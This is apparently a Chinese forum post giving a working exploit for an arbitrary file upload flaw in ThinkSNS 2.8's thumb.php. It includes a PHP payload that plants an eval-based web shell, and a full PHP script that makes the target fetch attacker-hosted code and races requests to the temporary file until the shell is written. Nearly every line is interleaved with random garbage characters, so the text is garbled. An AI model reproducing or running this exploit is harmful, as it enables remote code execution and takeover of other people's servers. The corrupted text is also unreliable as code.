漏洞版本
% M$ J, v# p z; g* s' M存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过)
* E% E6 G2 d9 H! Y漏洞文件% D1 S' L7 s3 Y
存在漏洞的文件为:thumb.php; o. [: b( s+ v
作者:韦鲲鹏
5 m& f0 {- z1 G4 a6 R1、 准备如下PHP文件并上传到服务器(自己的)。
0 P ~( Z2 W+ I文件内容如下:
$ Z- J7 K' `: V# a<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?># ^ G- Q6 m+ C1 z+ @* |
2、 计算出临时的文件名:/ i: R" b) L, ]& e3 X
这里我们可以看文件的99行(刚刚是不是没注意呀!)。
( ]) w7 R4 R& f7 e0 K+ T* C" T9 U
3、 上传临时文件。
& ~4 x* M. \' a& F/ |* |/ c8 T4、 访问临时文件。
' h: a! i$ X$ a# L但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。)
2 c5 l7 z( }' {Exploit文件内容如下:(这个我就不详细解释了), }* O) v1 g3 s1 V% J" |
<?php
9 r- D% \( y0 c3 w1 t merror_reporting(0);
q+ b" ^ e' \. ], M' Pset_time_limit(0);
?8 R- L. e) X1 E% G# |ini_set(“default_socket_timeout”, 5);
: R2 T) p) g! V8 Q% [' i; bfunction http_send($host, $port, $headers) {
# k) [6 w3 k; L$fp = fsockopen($host, $port);( r% ]$ Q6 m( ?0 O7 n
if (!$fp) die(‘Connection -> fail’);- B0 b2 ]' o \: S( \
fputs($fp, $headers);
) c% c/ G8 _' I# ^return $fp;( a) }' U8 c5 c: Y2 D6 W0 R5 Y
}
& A' H5 S9 L4 D ~: Y* afunction http_recv($fp) {
: M/ ~- z) L" \% f$ret=”";+ z7 p1 K+ T- d, v. \& p, b' f
while (!feof($fp))( E3 ^4 a4 O6 T# K1 L
$ret.= fgets($fp, 1024);6 Z" t# c. k* ^! W) X
fclose($fp);
- O# g e! m# Y8 w5 N# @* Areturn $ret;/ w, A4 N5 r+ x2 R( c9 E( V
}9 p6 `- m! k6 `+ h0 A* }' O# B2 z, S
print “\n# ThinkSns Arbitrary File Upload #\n”;
2 g3 S, U" X$ U1 T2 \print “# Discovered by 韦鲲鹏 #\n\n”;
) p2 k; j1 O* L- P9 K, w# ]& lif ($argc < 4) {
4 ^$ ]8 F$ e4 _1 n/ wprint “Usage: php <host> <path> <romote_url>\n”;
; x2 t% |& X: A [) ]3 l0 M* _print “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;7 {1 @- K" }# |' z* w+ T
die();( n3 e& j+ `+ M0 t
}+ V& r% a; |3 z( R' n V; `
$host = $argv[1];
( U8 e5 D$ N1 V. j V6 f$path = $argv[2];. t: k L1 _/ u
$url = $argv[3];
/ U% z3 Z, \, Z- s5 v; W) ^! d: l$i=0;
! h# v, R3 a: N//上传数据包
7 t: x" t! S* N: _& n$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;6 P' G! z' E w/ `7 K" N
$headers_up .= “Host: “.$host.”\r\n”;
! v! `% X' T. _* }1 f$headers_up .= “Connection: close\r\n\r\n”;$ R$ v7 H( B" @+ D
echo $headers_up;: Y9 c- p H2 z8 g @( ^: d: c
//临时文件访问数据包
% n. o# g- S# R- p$ ?" P* Z$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;4 c0 [+ c( p. p2 z _, F
$headers .= “Host: “.$host.”\r\n”;7 v: i* s1 f# k, l7 I
$headers .= “Connection: close\r\n\r\n”;( N1 o9 ?3 q; Z5 w) X
echo $headers;+ v# i: w0 e; z& J# \
while(++$i<10) {
& C: b- V. Q. f) N0 Zfclose(http_send($host, 80, $headers));
# ^$ u- c/ A" ]9 Z$ Y8 j9 [' `+ q}
$ V8 o% E, m% e8 Z" ifclose(http_send($host, 80, $headers_up));) i. w% F, p8 d
while(++$i<50) {
/ Y z0 o, T6 {2 B- vfclose(http_send($host, 80, $headers));
$ b9 `0 E; g+ w/ v7 c2 m}' ]: v2 }5 r5 L1 _ p
$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;
0 l8 t) A/ Y# J* d I" R$headers .= “Host: “.$host.”\r\n”;
( p! h+ B! A! o$headers .= “Connection: close\r\n\r\n”;* m. u5 l$ B+ ?6 y
$res=http_recv(http_send($host, 80, $headers));
, g1 ?# v# |7 Z% J+ rif(preg_match(‘/200 OK/’,$res)) {
/ }( |, V' M" O, G2 B6 sprint “Success!\n\n”;
! d0 A! ]1 y3 Q7 L* Z1 B) m} else {, Z- b- Y; X, p U3 j
print “Fail!\n\n”;9 a5 K0 Z& h* e. l
}
]$ j1 F- ^! m7 t: I9 z' L; I) S?>
0 p0 J& f! C9 b+ t$ E4 Q/ Q |